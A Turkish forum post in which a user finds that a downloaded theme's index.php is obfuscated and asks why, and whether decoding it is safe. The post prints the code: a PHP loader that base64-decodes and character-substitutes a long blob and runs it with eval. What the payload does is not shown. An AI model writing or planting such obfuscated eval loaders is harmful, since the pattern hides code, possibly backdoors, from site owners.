İndirdiğim bir temada footer ın değilde index.php nin şifrelenmiş olduğunu gördüm. readme.txt dosyasında hatta dil değiştirmede kullanacağımız kelimelerin hangi dosyada hangi satırda olduğunu gösteriyor.

#. Text in echo
#: index.php:39
msgid "Comments"
msgstr ""

Fakat index.php e geldiğimiz zaman şu şekilde şifrelenmiş olduğunu görüyorum.

<?php $_F=__FILE__;$_X='PzNhP21abTRjTW9fWk0wRU1uKCk7ND8zDWINYglhP21abTRjTW9fTE9FTUEwbigpOzQ/Mw1iCQ1iCWFFT3A0T0VmIkhTRG9NRG8iNEguMExMZiJIUy5KIEQiMw1iCQ1iCQlhP21abTRPdTQoNGNNb19TbW9PU0QoNCddU1NfQU9TJzQpNGEzNCIiNCk0SzQ/Mw1iCQlhRU9wNE9FZiJPRG9uUyIzDWIJCQ1iCQkJYW0zYT9tWm00TUhaUzRMb25PbUhMLjBMWk1MKDRjTW9fU21vT1NEKDQnXVNTX0FPUyc0KTQpOzQ/M2F5bTMNYgkJDWIJCWF5RU9wM2EhLS00eSNPRG9uUzQtLTMNYgkJYT9tWm00VDQ/Mw1iCQkNYgkJYUVPcDRPRWYiMG5vT0guTUwiMw1iCQkNYgkJCWE/bVptNE91NChaMHBNX21TTG9MKCkpNDo0JEhTSkRvNGY0ODs0PzMNYgkJCWE/bVptNF1aTy5NNChaMHBNX21TTG9MKCkpNDo0b1pNX21TTG8oKTs0JEhTSkRvKys7ND8zDWIJCQkNYgkJCQlhP21abTRPdSgkSFNKRG9mZnspSzQ/M2FFT3A0SC4wTExmIkFTPSIzYT9tWm00VDQ/Mw1iCQkJDWIJCQkJYUVPcDRILjBMTGYiT29NIDRhP21abTRPdSgkSFNKRG9mZnspSzRNSFpTNCcuTXVvJzs0VDRNLkxNNEs0TUhaUzQnbk9jWm8nOzRUND8zIjMNYgkJCQkNYgkJCQkJYVpzM2EwNFpuTXVmImE/bVptNG9aTV9tTW4gMC5PRFEoKTs0PzMiNG9Pby5NZiJhP21abTRvWk1fb09vLk0oKTs0PzMiNDNhP21abTRvWk1fb09vLk0oKTs0PzNheTAzYXlaczMNYgkJCQkJDWIJCQkJCWFtNEguMExMZiIgTW8wIjMNYgkJCQkJDWIJCQkJCQlhTG0wRDRILjBMTGYiRTBvTSIzYT9tWm00b1pNX29PIE0oJ3c0RScpOzQ/M2F5TG0wRDMNYgkJCQkJCWFMbTBENEguMExMZiJIUyAgTURvTCIzYT9tWm00SFMgIE1Eb0xfbVNtSm1fLk9EUShfXygnODQvUyAgTURvTCcsXVNTb1pNIE1MKSw0X18oJ3s0L1MgIE1EbycsXVNTb1pNIE1MKSw0X18oJyU0L1MgIE1Eb0wnLF1TU29aTSBNTCkpOzQ/M2F5TG0wRDMNYgkJCQkJDWIJCQkJCWF5bTNhIS0tNHlYIE1vMDQtLTMNYgkJCQkJDWIJCQkJCWFFT3A0SC4wTExmIk09SE1ubW8iMw1iCQkJCQkNYgkJCQkJCWE/bVptNF1TU19jTW9fTyAwY00oJ08gMGNNJyxjTW9fU21vT1NEKCddU1NfY01vX08gMGNNX11PRW9aJyksY01vX1Ntb09TRCgnXVNTX2NNb19PIDBjTV9aTU9jWm8nKSwnJyk7ND8zDWIJCQkJCQ1iCQkJCQkJYT9tWm00b1pNX009SE1ubW8oJycpOzQ/Mw1iCQkJCQkJDWIJCQkJCQlhbTRILjBMTGYiIFNuTS0uT0RRIjNhMDRabk11ZiJhP21abTRvWk1fbU1uIDAuT0RRKCk7ND8zIjRvT28uTWYiYT9tWm00b1pNX29Pby5NKCk7ND8zIjNhP21abTRfTSgnL1NEb09ESk00bk0wRU9EYycsXVNTb1pNIE1MKTs0PzNheTAzYXltMw1iCQkJCQkNYgkJCQkJYXlFT3AzYSEtLTR5WE09SE1ubW80LS0zDWIJCQkJDWIJCQkJYXlFT3AzYSEtLTR5WE9vTSA0LS0zDWIJCQkJDWIJCQkJYT9tWm00T3UoJEhTSkRvZmZzKUs0PzMNYgkJCQkJYUVPcDRILjBMTGYiSC5NMG4iM2F5RU9wMw1iCQkJCQlhRU9wNEguMExMZiJBU28iM2F5RU9wMw1iCQkJCQlheUVPcDNhIS0tNHlYQVM9NC0tMw1iCQkJCWE/bVptNCRIU0pEb2Y4OzRUND8zDWIJCQkNYgkJCWE/bVptNE1ERV1aTy5NOzRNREVPdTs0PzMNYg1iCQkJCWE/bVptNE91KCRIU0pEbzRmZjR7KUs/Mw1iCQkJCQlhRU9wNEguMExMZiJILk0wbiIzYXlFT3AzDWIJCQkJCWFFT3A0SC4wTExmIkFTbyIzYXlFT3AzDWIJCQkJCWF5RU9wM2EhLS00eVhBUz00LS0zDWIJCQkJYT9tWm00O1Q0PzMNYgkJCQkNYgkJCQlhP21abTRPdTQoNGNNb19TbW9PU0QoNCddU1NfbTBjT0Qwb00nNCk0ZmY0J29uSk0nNCk0SzQ/Mw1iDWIJCQkJYUVPcDRILjBMTGYibTBjTUQwcDRaUyBNIjMNYgkJCQkJYUVPcDRILjBMTGYibW5NcCIzYT9tWm00bW5NcE9TSkxfbVNMb0xfLk9EUShfXygndG5NcCcsXVNTb1pNIE1MKSk0PzNheUVPcDMNYgkJCQkJYUVPcDRILjBMTGYiRE09byIzYT9tWm00RE09b19tU0xvTF8uT0RRKF9fKCdGTT1vJyxdU1NvWk0gTUwpKTQ/M2F5RU9wMw1iNDQ0NDQ0NDQ0NDQ0CQlhRU9wNEguMExMZiJILk0wbiIzYXlFT3AzDWI0NDQ0NDQJCQlheUVPcDMNYjQ0NDQ0NAkJCQ1iNDQ0NDQ0CQkJYT9tWm00VDQ/MwkJDWIJCQ1iCQlheUVPcDNhIS0tNHkjMG5vT0guTUw0LS0zDWIJCQ1iCQlhRU9wNE9FZiJdT0VjTW9MIjMNYgkJDWIJCQlhRU9wNEguMExMZiIuTXVvIjMNYgkJCQ1iCQkJCWE/bVptNEU1RDAgT0hfTE9FTUEwbignWlMgTS0uTXVvJyk7ND8zDWIJCQkNYgkJCWF5RU9wM2EhLS00eVguTXVvNC0tMw1iCQkJDWIJCQlhRU9wNEguMExMZiJuT2NabyIzDWIJCQkNYgkJCQlhP21abTRFNUQwIE9IX0xPRU1BMG4oJ1pTIE0tbk9jWm8nKTs0PzMNYgkJCQ1iCQkJYXlFT3AzYSEtLTR5WG5PY1pvNC0tMw1iCQkJDWIJCQlhRU9wNEguMExMZiJILk0wbiIzYXlFT3AzDWIJCQkNYgkJCWFFT3A0SC4wTExmIkFTb29TICIzYXlFT3AzDWIJCQ1iCQlheUVPcDNhIS0tNHkjXU9FY01vTDQtLTMNYgkNYglheUVPcDNhIS0tNHkjSFNEb01EbzQtLTMNYgkJDWJhP21abTRjTW9fdVNTb01uKCk7ND8z';$_D=strrev('edoced_46esab');eval($_D('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCdPL2JwdXcza002QjJ0eEQxLlJvWF1sVlkgPkpBRUdUZno3SwpRSD1qc31acVVjZTh2NW5tPFs5YTRpMENyV3tOZ2hkSUxQeVNGJywnaUMKdmZGPnplU0U3UDVucWxBdC53V0RPbUt1YmRVfT0zTXtSa2N4OTJKaExaZ1gwNnlycFFURzwgVmFqSUIxXVtZNDhzSC9vTicpOyRfUj1zdHJfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

Sanırım kodun kırılması gerekiyor. Neden böyle birşey yapmışlar anlamadım. Kodlar kırıldığı zaman sağlıklı olabiliyormu ? bir kaç footer.php için yapılan yorumlar pek iç açıcı değildi.